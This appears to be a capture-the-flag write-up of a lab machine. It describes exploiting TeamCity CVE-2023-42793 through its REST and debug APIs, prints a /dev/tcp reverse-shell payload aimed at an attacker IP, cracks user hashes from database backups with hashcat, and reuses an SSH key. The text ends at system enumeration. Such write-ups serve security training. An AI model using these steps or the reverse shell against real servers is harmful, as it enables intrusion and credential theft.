This is an Ubuntu 22.04 machine hosting a vulnerable version of TeamCity (CVE-2023-42793) which can be exploited to get a foothold into the system. Then, we locate private keys and usernames stored in the file system and move laterally to users with privileges to read the user flag. Regarding privilege escalation, a Portainer application running as root is abused.
KEYWORDS
TeamCity, CVE-2023-42793, port forwarding, Portainer.
There are several POCs in GitHub but couldn't make any of them work, so I decided to exploit the application manually. This was also used as a reference: https://github.com/hotplugin0x01/CVE-2023-42793
First, delete any previous authentication token querying this endpoint /app/rest/users/<userLocator>/tokens/RPC2
Next step is to configure the debug API to enable admins to trigger configuration reloads, thus enabling arbitrary RCE. For this, use the previously obtained token.
Now you can issue commands. Insert the binary name in the exePath parameter, and the rest of arguments in as many params fields as you need. The following is an example issuing a reverse shell payload (/bin/bash –c bash -i >& /dev/tcp/10.10.xxx.xxx/1919 0>&1).
Nice to know but useless for the moment since we don't have an username, need to look further. Found several database backups here /data/teamcity_server/datadir/backup
> ls -haltotal860Kdrwxr-x---2tcusertcuser4.0KApr2116:43.drwxr-xr-x7tcusertcuser4.0KApr2116:02..-rw-r-----1tcusertcuser265KApr2114:53TeamCity_Backup_20240421_145357.zip-rw-r-----1tcusertcuser289KApr2116:35TeamCity_Backup_20240421_163536.zip-rw-r-----1tcusertcuser289KApr2116:43TeamCity_Backup_20240421_164327.zip
And inside TeamCity_Backup_20240421_145357.zip, in the database_dump folder, we find a dump for the users table that contains hashes for users john@runner.htb and matthew@runner.htb
John's seems uncrackable, though the other one (Matthew's) is (Blowfish module).
> hashcat -m 3200 -a 0 -d 1 hash.txt .\rockyou.txt
Take note of this password, we will use it afterwards. Now that we have 2 usernames we can test the private key we found before. It works with username john and we are able to get an SSH shell in the host.
Which can be used to retrieve the user flag.
ROOT
Start from the SSH shell for user john and take the opportunity to enumerate the current user and the system.
> id &&whoamiuid=1001(john) gid=1001(john) groups=1001(john)> uname -a &&cat/etc/os-releaseLinuxrunner5.15.0-102-generic#112-Ubuntu SMP Tue Mar 5 16:50:32 UTC 2024 x86_64 x86_64 x86_64 GNU/LinuxPRETTY_NAME="Ubuntu 22.04.4 LTS"NAME="Ubuntu"VERSION_ID="22.04"VERSION="22.04.4 LTS (Jammy Jellyfish)"VERSION_CODENAME=jammyID=ubuntuID_LIKE=debianHOME_URL="https://www.ubuntu.com/"SUPPORT_URL="https://help.ubuntu.com/"BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"UBUNTU_CODENAME=jammy